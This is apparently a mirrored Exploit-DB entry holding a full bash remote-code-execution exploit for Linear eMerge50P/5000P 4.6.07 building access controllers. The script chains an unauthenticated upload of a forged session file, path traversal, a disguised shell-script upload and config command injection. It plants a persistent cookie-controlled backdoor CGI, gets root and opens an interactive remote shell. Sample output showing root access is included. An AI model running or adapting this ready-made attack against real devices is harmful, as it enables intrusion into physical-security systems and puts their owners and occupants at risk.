eMerge50P 5000P 4.6.07 – Remote Code Execution

  • 作者: LiquidWorm
    日期: 2019-11-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47624/
  • # Exploit Title: eMerge50P 5000P 4.6.07 - Remote Code Execution
    # Google Dork: NA
    # Date: 2018-11-11
    # Exploit Author: LiquidWorm
    # Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
    # Software Link: http://linear-solutions.com/nsc_family/e3-series/
    # Version: 4.6.07
    # Tested on: NA
    # CVE : CVE-2019-7269
    # Advisory: https://applied-risk.com/resources/ar-2019-009
    # Paper: https://applied-risk.com/resources/i-own-your-building-management-system
    # Advisory: https://applied-risk.com/resources/ar-2019-005
    
    # PoC:
    #!/bin/bash
    #
    # Full remote code execution exploit for the Linear eMerge50P/5000P 4.6.07
    # Including escalating to root privileges
    # CVE: CVE-2019-7266, CVE-2019-7267, CVE-2019-7268, CVE-2019-7269
    # Advisory: https://applied-risk.com/resources/ar-2019-006
    # Paper: https://applied-risk.com/resources/i-own-your-building-management-system
    # 
    # This script is tested on macOS 10.13.6
    # by Sipke Mellema
    #
    # usage: ./sploit.sh http://target
    #
    ##########################################################################
    #
    # $ ./sploit.sh http://192.168.1.1
    #
    #
    #	 . . . . .
    #	 .. ... 
    #	||Linear eMerge50 4.6.07||
    #	||||
    #	||Remote code executionz||
    #	|| With priv escalation ||
    #	||Get yours today ||
    #	||| ||
    #	||Boomch||
    #	 .. ... 
    #	..... 
    #
    #
    #
    # [*] Checking connection to the target..
    # [V] We can connect to the server
    # [*] Checking if already infected..
    # [V] Target not yet infected..
    # [*] Creating custom session file..
    # [*] Uploading custom session file..
    # [V] Session file active!
    # [*] Retrieving CSRF token..
    # [V] CSRF_TOKEN: AI1R5ebMTZXL8Vu6RyhcTuavuaEbZvy9
    # [*] Uploading file..
    # [V] File successfully uploaded
    # [*] Writing new config..
    # [V] Wrote new config, restarting device
    # [*] Looks good! Waiting for device to reboot..
    # [V] Executing: whoami..
    # [V] Username found: root
    # [*] Cleaning up uploaded files..
    # [*] Removing fake backup file..
    # [*] Removing shell script..
    # [*] Files removed
    #
    # [*] If that worked, you can how execute commands via your cookie
    # [*] The URL is: http://192.168.1.1/cgi-bin/websrunnings.cgi
    # [*] Or type commands below ('quit' to quit)
    #
    # root@http://192.168.1.1$ id
    # uid=0(root) gid=0(root) groups=0(root)
    # root@http://192.168.1.1$ quit
    #
    ##########################################################################
    
    RED='\033[0;31m'; BLUE='\033[0;34m'; GREEN='\033[0;32m'; NC='\033[0m'
    BANNER="
    \t . . . . .
    \t .. ... 
    \t||${BLUE}Linear eMerge50 4.6.07${RED}||
    \t||${BLUE}${RED}||
    \t||${BLUE}Remote code executionz${RED}||
    \t||${BLUE} With priv escalation ${RED}||
    \t||${BLUE}Get yours today ${RED}||
    \t||${BLUE}| ${RED}||
    \t||${BLUE}Boomch${RED}||
    \t .. ... 
    \t..... 
    ${NC}
    "
    printf "\n${RED}${BANNER}\n\n"
    
    function echo_green {
    printf "${GREEN}[*] $@${NC}\n"
    }
    function echo_blue{ 
    printf "${BLUE}[V] $@${NC}\n" 
    }
    function echo_red { 
    printf "${RED}[-] $@${NC}\n"
    }
    
    function show_usage {
    echo -en "Usage: ./sploit.sh
    "
    }
    
    
    # check arguments
    if [ $# -eq 0 ]
    then
    echo_red "Incorrect parameters"
    show_usage
    exit
    fi
    
    
    # Define global paramters
    VULN_HOST=$1
    TEST_CMD="whoami"
    
    # ========================= Vuln 2: Session ID allows path traversal
    # Path traversal to session file injected as backup file
    SESSION_ID="../web/upload/system/backup.upg"
    
    
    function run_remote_shell {
    # shell is in the context of the lower privileged user called s2user
    # but the user has sudo rights
    # ========================= Vuln 5: Webserver runs as root
    TEST_CMD=''
    while read -p "${SPLOT_USERNAME}@${VULN_HOST}$ " TEST_CMD && [ "${TEST_CMD}" != "quit" ] ; do
    curl -s -k -H "Cookie: sudo $TEST_CMD" ${VULN_HOST}/cgi-bin/websrunnings.cgi
    echo ""
    done
    }
    
    # ========================= Pre-exploit checks
    
    # check connection
    echo_green "Checking connection to the target.."
    RESULT=`curl -sL -w "%{http_code}\\n" ${VULN_HOST} -o /dev/null --connect-timeout 3 --max-time 5`
    if [ "$RESULT" != "200" ] ; 
    then
     echo_red "Could not connect to ${VULN_HOST} :(" ;
     exit
    fi
    echo_blue "We can connect to the server"
    
    # check already infected
    echo_green "Checking if already infected.."
    RESULT=`curl -sL -w "%{http_code}\\n" ${VULN_HOST}/cgi-bin/websrunnings.cgi -o /dev/null --connect-timeout 3 --max-time 5`
    if [ "$RESULT" == "200" ] ; then
     echo_blue "Target already seems to be infected"
     SPLOT_USERNAME=`curl -s -k -H "Cookie: sudo whoami" ${VULN_HOST}/cgi-bin/websrunnings.cgi`
     echo_blue "Username found: ${SPLOT_USERNAME}"
     read -p "Try shell directly? (Y/N)" TEST
     if [ "$TEST" == "Y" ] ; then
    echo_green "Trying direct shell.."
    run_remote_shell
    exit
    fi
    else
     echo_blue "Target not yet infected.." ;
    fi
    
    
    
    # ========================= Vuln 1: Sys update CGI script allows unauthenticated upg-file upload
    # Used to create file with the contents of a valid session file
    # Session file required a timestamp from < 3600 seconds ago
    # And a valid (remote) IP address
    
    echo_green "Creating custom session file.."
    # binary session file
    SESS_FILE_BIN_PRE="MzEzMzc4MDA4NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABTeXN0ZW0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEFkbWluaXN0cmF0b3IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYWRtaW4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
    SESS_FILE_BIN_POST="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAEAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQUkxUjVlYk1UWlhMOFZ1NlJ5aGNUdWF2dWFFYlp2eTkAAAAAYtPxW0o/71s="
    # write session/backup file
    printf $SESS_FILE_BIN_PRE | base64 -D > backup.upg
    # write IP
    MY_IP=`curl -s https://api.ipify.org`
    printf ${MY_IP} >> backup.upg
    printf $SESS_FILE_BIN_POST | base64 -D >> backup.upg
    # replace timestamp
    python -c "import struct,time,sys; sys.stdout.write(struct.pack('<i',int(time.time()+(3600*5))))" | dd of=backup.upg bs=1 seek=1080 count=4 conv=notrunc 2> /dev/null
    # upload session as backup file
    echo_green "Uploading custom session file.."
    curl -s -F upload=@backup.upg ${VULN_HOST}/cgi-bin/uplsysupdate.cgi
    
    # check if session file works
    RESULT=`curl -s -w "%{http_code}\\n" --cookie ".sessionId=$SESSION_ID" ${VULN_HOST}/goform/foo -o /dev/null --connect-timeout 3 --max-time 5`
    if [ "$RESULT" != "200" ] ; then
     echo_red "Creating session file didn't seem to work :(" ;
     exit
    fi
    echo_blue "Session file active!"
    
    
    
    # ========================= Vuln 3: Image upload allows any file contents
    # We use it to upload a shell script
    # It will be run as root on startup
    
    # get csrf token
    echo_green "Retrieving CSRF token.."
    CSRF_TOKEN=`curl -s --cookie ".sessionId=$SESSION_ID" ${VULN_HOST}/frameset/ | grep -E -o 'csrft = "(.*)"' | awk -F '"' '{print $2}'`
    echo_blue "CSRF_TOKEN: $CSRF_TOKEN"
    
    if [ -z "$CSRF_TOKEN" ]; then
    echo_red "Could not get CSRF token :("
    exit
    fi
    
    # prepare file
    # this will run as root
    echo "cp /usr/local/s2/web/cgi-bin/websrunning.cgi /usr/local/s2/web/cgi-bin/websrunnings.cgi" > shell.jpg
    echo 'sed -i '"'"'s/echo "OK"/A=\`\$HTTP_COOKIE\`;printf "\$A"/'"'"' /usr/local/s2/web/cgi-bin/websrunnings.cgi' >> shell.jpg
    
    # upload file
    echo_green "Uploading file.."
    RESULT=`curl -s --cookie ".sessionId=$SESSION_ID" \
    -F "csrft=$CSRF_TOKEN" \
    -F "person=31337" \
    -F "file=@shell.jpg" \
    ${VULN_HOST}/person/upload/ | grep -o "File successfully uploaded"`
    echo_blue $RESULT
    
    if [[ ! "$RESULT" =~ "successfully" ]]; then
    echo_red "Could not upload file :("
    exit
    fi
    
    
    
    # ========================= Vuln 4: Config allows command injection
    # Length is limited
    # Also, no spaces allowed
    
    # change config
    # the file in the config file will be run as root at startup
    echo_green "Writing new config.."
    curl -s ${VULN_HOST}/goform/saveS2ConfVals --cookie ".sessionId=$SESSION_ID" --data "timeserver1=a.a%24%28bash%3C%2Fusr%2Flocal%2Fs2%2Fweb%2Fupload%2Fpics%2Fshell.jpg%29&timeserver2=&timeserver3=&timezone=America%2FChicago&save=Save&urlOk=cfgntp.asp&urlError=cfgntp.asp&okpage=cfgntp.asp" > /dev/null
    echo_blue "Wrote new config, restarting device"
    
    # restart device
    RESULT=`curl -s --cookie ".sessionId=$SESSION_ID" ${VULN_HOST}/goform/restarts2Conf --data "changeNetwork=1" | grep -o "The proxy server could not handle the request"`
    # this is supposed to get returned (device rebooting)
    if [[ "$RESULT" =~ "could not handle the request" ]]; then
    echo_green "Looks good! Waiting for device to reboot.."
    sleep 20
    echo_blue "Executing: whoami.."
    SPLOT_USERNAME=`curl -s -k -H "Cookie: sudo whoami" ${VULN_HOST}/cgi-bin/websrunnings.cgi`
    echo_blue "Username found: ${SPLOT_USERNAME}"
    
    # cleanup
    echo_green "Cleaning up uploaded files.."
    echo_green "Removing fake backup file.."
    RESULT=`curl -s -k -H "Cookie: sudo rm /usr/local/s2/web/upload/system/backup.upg" ${VULN_HOST}/cgi-bin/websrunnings.cgi`
    echo_green "Removing shell script.."
    RESULT=`curl -s -k -H "Cookie: sudo rm /usr/local/s2/web/upload/pics/shell.jpg" ${VULN_HOST}/cgi-bin/websrunnings.cgi`
    echo_green "Files removed"
    
    # start shell
    echo ""
    echo_green "If that worked, you can now execute commands via your cookie"
    echo_green "The URL is: ${VULN_HOST}/cgi-bin/websrunnings.cgi"
    echo_green "Or type commands below ('quit' to quit)"
    echo ""
    
    run_remote_shell
    
    else
    echo_red "Exploit failed :("
    fi
    
    exit